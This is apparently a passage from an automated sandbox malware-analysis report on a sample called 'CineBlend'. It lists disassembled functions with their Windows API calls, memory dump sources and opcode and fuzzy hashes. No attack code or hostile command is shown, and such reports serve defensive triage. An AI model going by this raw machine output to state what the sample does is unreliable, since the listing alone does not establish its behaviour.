                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorMode$AddressCreateInstanceProc
                                  • String ID: DllGetClassObject
                                  • API String ID: 753597075-1075368562
                                  • Opcode ID: 603bdedfbb2eecd53433ba04bf32513c1d1575afba6efeeea78423da2cade0a6
                                  • Instruction ID: 1eb9fdad929e5dfc25f099ac8f46bd1585c478762414f51e5ed6be4f9ddf7052
                                  • Opcode Fuzzy Hash: 603bdedfbb2eecd53433ba04bf32513c1d1575afba6efeeea78423da2cade0a6
                                  • Instruction Fuzzy Hash: 13418EB1654204EFDF15DF64D884A9ABBF9EF48314F1480F9A9099F245DFB0E944CBA0
                                  Function 00BC4818 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BC48D1
                                  • IsMenu.USER32(?), ref: 00BC48E6
                                  • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00BC492E
                                  • DrawMenuBar.USER32 ref: 00BC4941
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$Item$DrawInfoInsert
                                  • String ID: 0
                                  • API String ID: 3076010158-4108050209
                                  • Opcode ID: b4211e43695f36cbd11a79aac66f0bc5a3e6f8b838014be108e6b8215023f312
                                  • Instruction ID: 0da1546a764c8a40e61406d93786fc4d43f057fad005729b580c61b2d05d0d8f
                                  • Opcode Fuzzy Hash: b4211e43695f36cbd11a79aac66f0bc5a3e6f8b838014be108e6b8215023f312
                                  • Instruction Fuzzy Hash: F3414679A01219AFDB10CF61D894FAABBF9FF0A324F0441ADF945A7250D770AE44CB60
                                  Function 00B9272F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B927B3
                                  • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B927C6
                                  • SendMessageW.USER32(?,00000189,?,00000000), ref: 00B927F6
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$_wcslen$ClassName
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 2081771294-1403004172
                                  • Opcode ID: 19bbb64844a4947657ce32af6a3e120286e7eae453fe2dfbd3631cb3ae270d61
                                  • Instruction ID: c89ed786e0e779e9db65620da09dfba3728f90793bf92202bcac514a9ad9a82a
                                  • Opcode Fuzzy Hash: 19bbb64844a4947657ce32af6a3e120286e7eae453fe2dfbd3631cb3ae270d61
                                  • Instruction Fuzzy Hash: FB21B175D00104BBDB05ABA4D886DFEB7E8DF453A0F2041B9F921A71E1CB384D0A9A60
                                  Function 00BC39B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00BC3A29
                                  • LoadLibraryW.KERNEL32(?), ref: 00BC3A30
                                  • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00BC3A45
                                  • DestroyWindow.USER32(?), ref: 00BC3A4D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$DestroyLibraryLoadWindow
                                  • String ID: SysAnimate32
                                  • API String ID: 3529120543-1011021900
                                  • Opcode ID: aefd465577180608ea0b1182568c3898ad9139049d113122f14a028604e742f2
                                  • Instruction ID: 0d964f3d30680d7c9defec2f382dc4708b000c0b82d4a4faa2cb20d3e833c158
                                  • Opcode Fuzzy Hash: aefd465577180608ea0b1182568c3898ad9139049d113122f14a028604e742f2
                                  • Instruction Fuzzy Hash: A721DE71200609AFEF109F64DC80FBF77E9EB49B64F509269FA91920E0C7B1CD609B60
                                  Function 00B550DD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00B5508E,00000003,?,00B5502E,00000003,00BF98D8,0000000C,00B55185,00000003,00000002), ref: 00B550FD
                                  • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B55110
                                  • FreeLibrary.KERNEL32(00000000,?,?,?,00B5508E,00000003,?,00B5502E,00000003,00BF98D8,0000000C,00B55185,00000003,00000002,00000000), ref: 00B55133
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AddressFreeHandleLibraryModuleProc
                                  • String ID: CorExitProcess$mscoree.dll
                                  • API String ID: 4061214504-1276376045
                                  • Opcode ID: a3f7183081b10d8c21dccda778de9650f15052f3b819f835c59701b8216ce5a7
                                  • Instruction ID: 6363548bfc6e099154657a16234bdf136d86d41943fe37fce7cd746b5079fc05
                                  • Opcode Fuzzy Hash: a3f7183081b10d8c21dccda778de9650f15052f3b819f835c59701b8216ce5a7
                                  • Instruction Fuzzy Hash: 15F03C34A00608BBDB119F95DC59BADBFF5EF48753F0400E9E809A2260DF749E44CA94
                                  Function 00B3663E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B3668B,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B3664A
                                  • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00B3665C
                                  • FreeLibrary.KERNEL32(00000000,?,?,00B3668B,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B3666E
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Library$AddressFreeLoadProc
                                  • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                  • API String ID: 145871493-3689287502
                                  • Opcode ID: 358f5d4fcb29578efa9db3be3e85fe2fe3bd1c4df5d14ccc597a2f9d098f4cbc
                                  • Instruction ID: e26631e52a5b3a15bfc0e96de7f9e81b85cfe5d9029cb89c7ed4be4cfa281630
                                  • Opcode Fuzzy Hash: 358f5d4fcb29578efa9db3be3e85fe2fe3bd1c4df5d14ccc597a2f9d098f4cbc
                                  • Instruction Fuzzy Hash: 15E0863D7015222792112725AC09FABB6A8DF96B52F194165F904E3154DF50CC0180B4
                                  Function 00B36607 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B75657,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B36610
                                  • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00B36622
                                  • FreeLibrary.KERNEL32(00000000,?,?,00B75657,?,?,00B362FA,?,00000001,?,?,00000000), ref: 00B36635
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Library$AddressFreeLoadProc
                                  • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                  • API String ID: 145871493-1355242751
                                  • Opcode ID: 8293619f970abce08a885eb5484f6d8bae1a0f5a78d9c71eb6d56412ab0c6354
                                  • Instruction ID: 0a6ce188696dfaa3cd8208f997e72dbc2b0389d8b8ff5f81f8e8caaa714963e5
                                  • Opcode Fuzzy Hash: 8293619f970abce08a885eb5484f6d8bae1a0f5a78d9c71eb6d56412ab0c6354
                                  • Instruction Fuzzy Hash: 1DD0123961293167422227256C19FDF7BA4DE95B5172940B9B904B3134CF60CD05C598
                                  Function 00BA3306 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00BA35C4
                                  • DeleteFileW.KERNEL32(?), ref: 00BA3646
                                  • CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00BA365C
                                  • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00BA366D
                                  • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00BA367F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: File$Delete$Copy
                                  • String ID:
                                  • API String ID: 3226157194-0
                                  • Opcode ID: 87367fd67f7cdc1c5a6da45cd549b6491c690f189902f614213bb904f7b567cb
                                  • Instruction ID: 59d1dc2d5689a0d90624813dcc098ea9de657c3a520c2263f5ad82b180ca44c4
                                  • Opcode Fuzzy Hash: 87367fd67f7cdc1c5a6da45cd549b6491c690f189902f614213bb904f7b567cb
                                  • Instruction Fuzzy Hash: 3EB15A72E04119ABDF15DBA4CC86EDEBBFDEF49710F1040E6FA09A7141EA309B448B61
                                  Function 00BBADE7 Relevance: 7.8, APIs: 5, Instructions: 256COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentProcessId.KERNEL32 ref: 00BBAE87
                                  • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00BBAE95
                                  • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00BBAEC8
                                  • CloseHandle.KERNEL32(?), ref: 00BBB09D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$CloseCountersCurrentHandleOpen
                                  • String ID:
                                  • API String ID: 3488606520-0
                                  • Opcode ID: 07c45ca8c532e21f84f85d2e614e0be8a27b0ad13576af19bd7610ec85ca34fd
                                  • Instruction ID: f7d337eb52f55e8a4c5aaad2f7ab9e657e26398f4500558edb90b643905c03cb
                                  • Opcode Fuzzy Hash: 07c45ca8c532e21f84f85d2e614e0be8a27b0ad13576af19bd7610ec85ca34fd
                                  • Instruction Fuzzy Hash: 9BA182B1A047019FD720DF28C886F2AB7E5EF44710F54889DF5699B2D2DBB1EC418B81
                                  Function 00B6BEA7 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00BD46D0), ref: 00B6BF11
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00C0221C,000000FF,00000000,0000003F,00000000,?,?), ref: 00B6BF89
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00C02270,000000FF,?,0000003F,00000000,?), ref: 00B6BFB6
                                  • _free.LIBCMT ref: 00B6BEFF
                                    • Part of subcall function 00B62D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?), ref: 00B62D4E
                                    • Part of subcall function 00B62D38: GetLastError.KERNEL32(?,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?,?), ref: 00B62D60
                                  • _free.LIBCMT ref: 00B6C0CB
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                  • String ID:
                                  • API String ID: 1286116820-0
                                  • Opcode ID: 33a89f1647f7d6f0a8d8a84fd4a3aa16dfa714c8706abf6b7b955dedde252e86
                                  • Instruction ID: 940f75ecf1a6b2336a24cc0296cc65a32dd184c1226ee13c3638ee18898d22a5
                                  • Opcode Fuzzy Hash: 33a89f1647f7d6f0a8d8a84fd4a3aa16dfa714c8706abf6b7b955dedde252e86
                                  • Instruction Fuzzy Hash: 2451D371900209EFCB10EFA5DC85EAEB7F8EF41720B1002EAE554D71A1EB749E81CB50
                                  Function 00BBC429 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00BBD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BBC10E,?,?), ref: 00BBD415
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD451
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4C8
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4FE
                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BBC505
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BBC560
                                  • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00BBC5C3
                                  • RegCloseKey.ADVAPI32(?,?), ref: 00BBC606
                                  • RegCloseKey.ADVAPI32(00000000), ref: 00BBC613
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
                                  • String ID:
                                  • API String ID: 826366716-0
                                  • Opcode ID: 6d846bd912d9987b2bc9dc0e93e0e3860d4ae0f3d50841b3900a3b7f124b376b
                                  • Instruction ID: f630ff043ff5125020aee69b37ae3b70221045bf5385080b1d98a4287ef69b94
                                  • Opcode Fuzzy Hash: 6d846bd912d9987b2bc9dc0e93e0e3860d4ae0f3d50841b3900a3b7f124b376b
                                  • Instruction Fuzzy Hash: FA619171208241AFD714DF14C891E7ABBE5FF84308F5485ACF49A8B2A2DB71ED46CB91
                                  Function 00B9ED12 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B9E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B9D7CD,?), ref: 00B9E714
                                    • Part of subcall function 00B9E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B9D7CD,?), ref: 00B9E72D
                                    • Part of subcall function 00B9EAB0: GetFileAttributesW.KERNEL32(?,00B9D840), ref: 00B9EAB1
                                  • lstrcmpiW.KERNEL32(?,?), ref: 00B9ED8A
                                  • MoveFileW.KERNEL32(?,?), ref: 00B9EDC3
                                  • _wcslen.LIBCMT ref: 00B9EF02
                                  • _wcslen.LIBCMT ref: 00B9EF1A
                                  • SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00B9EF67
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
                                  • String ID:
                                  • API String ID: 3183298772-0
                                  • Opcode ID: ba0e6ca9de222bd2185bf5d79dc4db2ec47960acf5885f8a42397e53937a4d50
                                  • Instruction ID: e28d7b8f029545b041428e38db44153ab58a29dafffaaba3c786233917de1158
                                  • Opcode Fuzzy Hash: ba0e6ca9de222bd2185bf5d79dc4db2ec47960acf5885f8a42397e53937a4d50
                                  • Instruction Fuzzy Hash: 555141B24083859BCB24DB94D891ADBB3ECEF84311F50097EF69993151EF31E6888766
                                  Function 00B99517 Relevance: 7.7, APIs: 5, Instructions: 159COMMON
                                  Download Yara Rule
                                  APIs
                                  • VariantInit.OLEAUT32(?), ref: 00B99534
                                  • VariantClear.OLEAUT32 ref: 00B995A5
                                  • VariantClear.OLEAUT32 ref: 00B99604
                                  • VariantClear.OLEAUT32(?), ref: 00B99677
                                  • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00B996A2
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Variant$Clear$ChangeInitType
                                  • String ID:
                                  • API String ID: 4136290138-0
                                  • Opcode ID: f28d4facaa873e14b76d61d11b25a0189686ba43c6990edd0fad02da3649f2a5
                                  • Instruction ID: 843caea938fe903f88da8ee4c1f8b8ba11901840ffa587c009c9f364a0894276
                                  • Opcode Fuzzy Hash: f28d4facaa873e14b76d61d11b25a0189686ba43c6990edd0fad02da3649f2a5
                                  • Instruction Fuzzy Hash: 415128B5A00619EFCB14CF68C884EAAB7F8FF89314B15856DE905DB314E730E911CB90
                                  Function 00BA9540 Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00BA95F3
                                  • GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00BA961F
                                  • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00BA9677
                                  • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00BA969C
                                  • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00BA96A4
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: PrivateProfile$SectionWrite$String
                                  • String ID:
                                  • API String ID: 2832842796-0
                                  • Opcode ID: 229fb31c90b950d288d7e3521b874080a998d542e74d6605bcc59ce5e1d7da43
                                  • Instruction ID: d9e2228cde2aae916ace7d610b710faca6f024e7b751e89a829fd67bed8e7e5e
                                  • Opcode Fuzzy Hash: 229fb31c90b950d288d7e3521b874080a998d542e74d6605bcc59ce5e1d7da43
                                  • Instruction Fuzzy Hash: 48512A35A00619AFCB05DF65C881EAABBF5FF49314F148098F849AB362CB35ED41DB91
                                  Function 00BB9941 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryW.KERNEL32(?,00000000,?), ref: 00BB999D
                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00BB9A2D
                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00BB9A49
                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00BB9A8F
                                  • FreeLibrary.KERNEL32(00000000), ref: 00BB9AAF
                                    • Part of subcall function 00B4F9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00BA1A02,?,753CE610), ref: 00B4F9F1
                                    • Part of subcall function 00B4F9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00B90354,00000000,00000000,?,?,00BA1A02,?,753CE610,?,00B90354), ref: 00B4FA18
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                  • String ID:
                                  • API String ID: 666041331-0
